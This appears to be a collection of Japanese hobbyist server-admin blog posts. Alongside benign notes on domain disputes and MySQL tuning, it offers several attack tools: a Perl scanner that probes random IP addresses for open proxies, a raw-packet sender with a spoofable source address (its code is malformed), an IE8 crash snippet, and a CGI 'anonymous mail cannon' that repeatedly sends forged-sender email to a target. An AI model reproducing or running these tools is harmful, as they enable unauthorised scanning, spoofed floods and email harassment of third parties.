昨日からの症状です(正確には今朝)
明朝からech0のトラフィックがなくなり、サーバ応答が不能になりました。
散々悩み抜いた挙句ルーター初期化で解決しました。
昨日からの症状です(正確には今朝)
明朝からech0のトラフィックがなくなり、サーバ応答が不能になりました。
散々悩み抜いた挙句ルーター初期化で解決しました。
Webページにアクセスする際は殆どの場合
www.orenoatamahahageteru.com
などのURLを用いることが多いと思います。
このドメイン一つで裁判を起こされる例があります、ドメイン名紛争って奴です。
有名処では GOO.CO.JPを巡ったNTT-X社の裁判があります。
・そもそもドメイン紛争ってなに?
レジストラから正規に登録したドメイン名を巡った裁判、民事訴訟等の総括 総称(だと思います…)です。
商標権を侵害しているドメインは相当ヤバいです 特に.JPの場合はドメインの管理権自体を消される可能性が相当です。
・ドメイン紛争に抵触してしまう恐れのあるドメイン名は?
例えばですが、Doraemon.Jp(ドラえもん.ジェーピー) Suzumiya-haruhi.Jp(涼宮ハルヒ.ジェーピー)等のアニメキャラのドメイン。
YouTube.Ne.JP(ユーチューブ.エヌイー.ジェーピー) Google.Or.Jp(グーグル.オーアール.ジェーピー)等、この様なドメインを”正規の用途”で利用していない
(ウェブサイトを開設せずにドメインパーキングに転送する等)ドメインがこの対称となります。
・JPNICに通報されるとどうなるの?
ドメイン名を削除 あるいは強制的に移管されちゃいます。最悪の場合裁判に発展する事もあります ってかそんな事例がJPINCのドメイン紛争事例のページに腐るほど載ってます。
もしこの記事を回覧の方で、汎用JPドメインを取得する方はくれぐれも注意してくださいねっと。
なんとなく作って見ました、仕組みが適当なのでメモリばっかり食う可能性が高いです。
数分間で書いた上ほとんどデバッグしてません、使用は自己責任でどうぞ。
#!/usr/bin/perl ### ### 簡易Proxy検索CGI Ver 0.01 ### ## Googleなどでそれらしきワード掛けても出てこないので作って見ました。 ## 永久にテスト版なので、利用は自己責任でどうぞ ## ### 仕組み ランダムな数字を生成させて 構築されたIPアドレスに対し ### 8080 80 8000等の定番ポートへコネクションを試みます ### コネクション出来たらログに書き出す仕組みです ### ※ ポートコネクションを行うので相当負担がかかります。 ### スペックに自信がないなら使用しないことをおすすめします。 use LWP::UserAgent; use HTTP::Request; ### 串のIPの種を作る ### 参考:http://chaichan.web.infoseek.co.jp/qa1500/qa1620.htm ### 10回まで繰り返す ### 回数制御は ### ↓をいぢる for(0..10) { $qp1 = int(rand(99)); $kazu1 = int(rand(99)); $osimai1 = $qp1 + $kazu1; $qp2 = int(rand(99)); $kazu2 = int(rand(99)); $osimai2 = $qp2 + $kazu2; $qp3 = int(rand(99)); $kazu3 = int(rand(99)); $osimai3 = $qp3 + $kazu3; $qp4 = int(rand(99)); $kazu4 = int(rand(99)); $osimai4 = $qp4 + $kazu4; $ipdesuyo = "$osimai1.$osimai2.$osimai3.$osimai4"; $ua = new LWP::UserAgent; $ua->agent ("Gojira"); $ua->timeout (30); ### 30sec待って応答がないなら 多分そのサーバは外れ $request = new HTTP::Request "GET","http://$ipdesuyo:80"; $response = $ua->request ($request); $response_body80 = $response->content(); $coder = $response->code(); $request = new HTTP::Request "GET","http://$ipdesuyo:8080"; $response = $ua->request ($request); $response_body8080 = $response->content(); $coder = $response->code(); $request = new HTTP::Request "GET","http://$ipdesuyo:8000"; $response = $ua->request ($request); $response_body8000 = $response->content(); $coder = $response->code(); if ($coder =~ /200/) {### レスポンス200の場合はログを吐く open(OUT,">> ./proxy.txt"); flock(OUT, 2); print OUT "$ipdesuyo<>$response_body80<>$response_body8080<>$response_body8000\n"; close(OUT); } print $ipdesuyo; }
[root@localhost ~]# free total used free shared buffers cached Mem: 3087544 2994924 92620 0 74336 1091808 -/+ buffers/cache: 1828780 1258764 Swap: 5177340 2300 5175040
apacheの子プロセスが原因なのだろうか・・・
今回は新機能のリリースです。
故 ソースチェッカーオンラインで有名な機能だった偽装GIF検出機能 及びモザイク画像の生成機能を
実装しました。
画像の拡張子が.JPG等にも関わらず中身がGIF動画である いわゆる偽装GIFを自動で検出します。
さらに画像をphpで動的に変換してモザイク画像を生成します。
例 (グロ注意)
http://bcc.dip.jp/?url=http%3A%2F%2Flivedoor.blogimg.jp%2Fwarosmani..
http://bcc.dip.jp/?url=http%3A%2F%2Faomori.cool.ne.jp%2Fhime5%2Fmi..
インストール時に詰んだのでメモ
まずflexをyumでインストールします、その後libcapを”ソースから”コンパイルしてインストールします。
/usr/include/にpcap~の名前のファイルがあることを確認します。
その後 Net::RawIPをcpanからwgetで入手します、適当なディレクトリに解凍し、
Perl Makefile.PL make make install の手順でインストール出来ます。
試しに簡単なパケットを投げてみましょう
#!/usr/bin/perl use strict; use Net::RawIP; my $sends = $ARGV[0]; my $kimip = $ARGV[1]; my $n = Net::RawIP->new({ ip => { saddr => $sends, daddr => $kimip, }, }); tcp => { source => 139, dest => 139, psh => 1, syn => 1, }; $n->send; print "飛ばせたよ~^o^";
Rawパケットを投げるのでroot権限が必要です。
perl send.pl google.jp google.jpのように入力して飛ばせたよ~^o^が表示されればOKです。
頑張れば簡易Proxyもどき見たいなことも・・・出来る?かもしれませんね。
なお当然ですがWindowsでは使えません。
※間違えてもforで無限ループするように組んではいけません、田代砲の方がまだマシな程の兵器になります。
IE8向けのクラッシュコードの模様です、多分対策されていると思いますが。。
下記のコードが脆弱性検証となっている模様です
IE8 Crasher
ttp://crashie8.com/
上記のサイトにこの様なコードが載っています
<div id="page_wrapper"> <form id="apply-form" action="#" method="post"> <div style="display:none"><input type="text" name="test"/></div> </div>
検証していないので不明ですが、おそらくIE8辺りに影響があるものと思われます。
負荷対策って奴です 多分相当軽いはずですが念のため導入しておきます。
my.cnfに以下の設定を追加してあります。
query_cache_limit=5M query_cache_min_res_unit=1M query_cache_size=32M query_cache_type=1 key_buffer = 20M sort_buffer_size = 5M read_buffer_size = 2M
なんとなく作って見ました、常識の範囲で遊んでください。
(Perlモジュール Mail::Sendmailが必要です。)
#!/usr/bin/perl =coment ~ 匿名メール田代砲 ~ このスクリプトは、指定したメールアドレスに発信源不明のメールを打つスクリプトです、 悪用防止の為、smtpサーバが無いと動かない仕組みになっています。 またメール送りまくって回線止められたりしても私は一切知りません。 作者:JNR ★ HP:http://bcc.dip.jp/ メール:bcc.dip.jp@gmail.com =cut use strict; use Mail::Sendmail; my $kaisuu = 80;#リロード秒数 と言ってもmeta リフレッシュだけど... &mailmain(); &html(); sub mailmain { my ($server, $to_addr, $from_addr, $mail_sub, $mail_body); $server = "smtp.****.ocn.ne.jp" ;#プロパイダのsmtpサーバ $to_addr = "info\@gmail.com" ;#メールを送る宛先 $from_addr = "info\@yahoo.co.jp" ;#発信源メアド $mail_sub = "日頃の恨みを晴らさせてもらおう";#メールタイトル $mail_body = "はげはげはげはげはげはげはげは";#メール本文 #教えてgooより my %mail = ( Smtp => $server, "Content-Type" => 'text/plain; charset="JIS"', To => $to_addr, From => $from_addr, Subject => $mail_sub, Message => $mail_body, ); sendmail(%mail); } sub html { print qq|Content-type: text/html\n\n|; print <<"EOH"; <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang="ja"> <head> <meta http-equiv="content-type" content="text/html; charset=Shift_JIS"> <meta http-equiv="Refresh" content="$kaisuu"> <title>OK</title> </head> <body> OK </body> </html> EOH exit(0); } __END__
サーバ再インストールで放置していたブログ 再構築してみました。
前より早くなっていれば光栄です。